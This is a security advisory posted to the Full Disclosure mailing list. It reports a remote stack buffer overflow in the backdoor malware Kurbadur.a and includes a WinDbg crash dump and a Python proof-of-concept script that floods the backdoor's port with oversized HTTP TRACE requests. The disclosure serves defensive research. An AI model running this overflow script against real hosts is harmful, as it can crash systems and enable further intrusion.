Message-ID: <CAAHK0WSUzAqu8L4do88cfYiyMdTexgs2+sKaLP2GgkHBAi4Ruw@mail.gmail.com>
Date: Tue, 12 Jan 2021 23:28:57 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] BACKDOOR.WIN32.KURBADUR.A / Remote Stack Buffer Overflow

Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/821d3d5a9b15dc3388fe17f233cce296.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Kurbadur.a
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP port 21220, by sending
incrementing HTTP TRACE requests with an increasing payload size, we
trigger buffer overflow overwriting EIP.
Upon running a fake error message box will appear, the specimen also
trys to connect to SMTP port 25.

Type: PE32
MD5: 821d3d5a9b15dc3388fe17f233cce296
Vuln ID: MVID-2021-2023
Dropped files: Crss.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/12/2021

Memory Dump:
*** WARNING: Unable to verify checksum for Crss.exe
*** ERROR: Module load completed but symbols could not be loaded for Crss.exe
Crss+0x1c5a:
00011c5a 8902            mov     dword ptr [edx],eax  ds:002b:41414141=????????
0:000> .ecxr
eax=41414141 ebx=04208a38 ecx=41414141 edx=41414141 esi=00000014 edi=000ac614
eip=00011c5a esp=0040143c ebp=000ac618 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
Crss+0x1c5a:
00011c5a 8902            mov     dword ptr [edx],eax  ds:002b:41414141=????????

0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
Crss+1c5a
00011c5a 8902            mov     dword ptr [edx],eax

EXCEPTION_RECORD:  004feb08 -- (.exr 0x4feb08)
ExceptionAddress: 00011c5a (Crss+0x00001c5a)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 41414141
Attempt to write to address 41414141

PROCESS_NAME:  Crss.exe

OVERLAPPED_MODULE: Address regions for 'mswsock' and 'dataexchange.dll' overlap

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p
referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141

FOLLOWUP_IP:
user32!_InternalCallWinProc+0
764ee090 55              push    ebp

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

CONTEXT:  004feb58 -- (.cxr 0x4feb58)
eax=41414141 ebx=04208a38 ecx=41414141 edx=41414141 esi=0000001c edi=000ac614
eip=00011c5a esp=004fefb8 ebp=000ac618 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
Crss+0x1c5a:
00011c5a 8902            mov     dword ptr [edx],eax  ds:002b:41414141=????????
Resetting default scope

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute
[Is_ChosenCrashFollowupThread] from Frame:[0] on
thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER:  from 000120fe to 00011c5a

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:  APPLICATION_FAULT_STRING_DEREFERENCE_STACK_OVERFLOW_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141

STACK_TEXT:
004fefb8 00011c5a crss+0x1c5a
004fefc0 000120fe crss+0x20fe
004fefd4 000122a0 crss+0x22a0
004feffc 00012727 crss+0x2727
004ff0fc 000a786d crss+0x9786d
004ff8c4 0006fc0d crss+0x5fc0d
004ff8d8 0006eb95 crss+0x5eb95
004ff8fc 0006f11c crss+0x5f11c
004ff920 0002d1d2 crss+0x1d1d2
004ff938 764ee0bb user32!_InternalCallWinProc+0x2b
004ff964 764f8849 user32!InternalCallWinProc+0x20
004ff988 764fb145 user32!UserCallWinProcCheckWow+0x1be
004ffa58 764e90dc user32!DispatchMessageWorker+0x4ac
004ffac4 764e38c0 user32!DispatchMessageA+0x10
004ffacc 0006b6f4 crss+0x5b6f4
004ffb6c 0007b1c2 crss+0x6b1c2
004ffb94 0007ce34 crss+0x6ce34
004ffbd8 0007e141 crss+0x6e141
004ffc10 0007e252 crss+0x6e252
004ffc44 0007ecd7 crss+0x6ecd7
004ffc7c 0007dbdc crss+0x6dbdc
004ffccc 000a1115 crss+0x91115
004ffd2c 000a1b8c crss+0x91b8c
004ffde4 00064483 crss+0x54483
004ffe08 00064163 crss+0x54163
004fff4c 0006b864 crss+0x5b864
004fff70 000a8450 crss+0x98450
004fff88 76e38654 kernel32!BaseThreadInitThunk+0x24
004fff9c 773c4a77 ntdll!__RtlUserThreadStart+0x2f
004fffe4 773c4a47 ntdll!_RtlUserThreadStart+0x1b


SYMBOL_NAME:  user32!_InternalCallWinProc+0

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: user32

IMAGE_NAME:  user32.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  0

STACK_COMMAND:  .cxr 00000000004FEB58 ; kb ; dds 4fefb8 ; kb

FAILURE_BUCKET_ID:
STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_user32.dll!_InternalCallWinProc





Exploit/PoC:
from socket import *
import time

MALWARE_HOST="x.x.x.x"
PORT=21220
sz = 2000
c=1

def doit():
    global c, sz
    while True:
        s=socket(AF_INET, SOCK_STREAM)
        s.connect((MALWARE_HOST, PORT))
        s.settimeout(0.2)
        sz += 1000
        JUNK="A"*sz
        PAYLOAD="TRACE /"+JUNK+" HTTP/1.1\r\nHTTP/1.0-99999\r\nHost:
"+JUNK+"\r\n\r\n"
        s.send(PAYLOAD)
        s.close()
        time.sleep(0.2)
        c+=1
        if c==60:
            print("Backdoor.Win32.Kurbadur.a / Remote Stack Buffer Overflow")
            print("MD5: 821d3d5a9b15dc3388fe17f233cce296")
            print("By Malvuln")
            break

if __name__=="__main__":
    doit()



Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists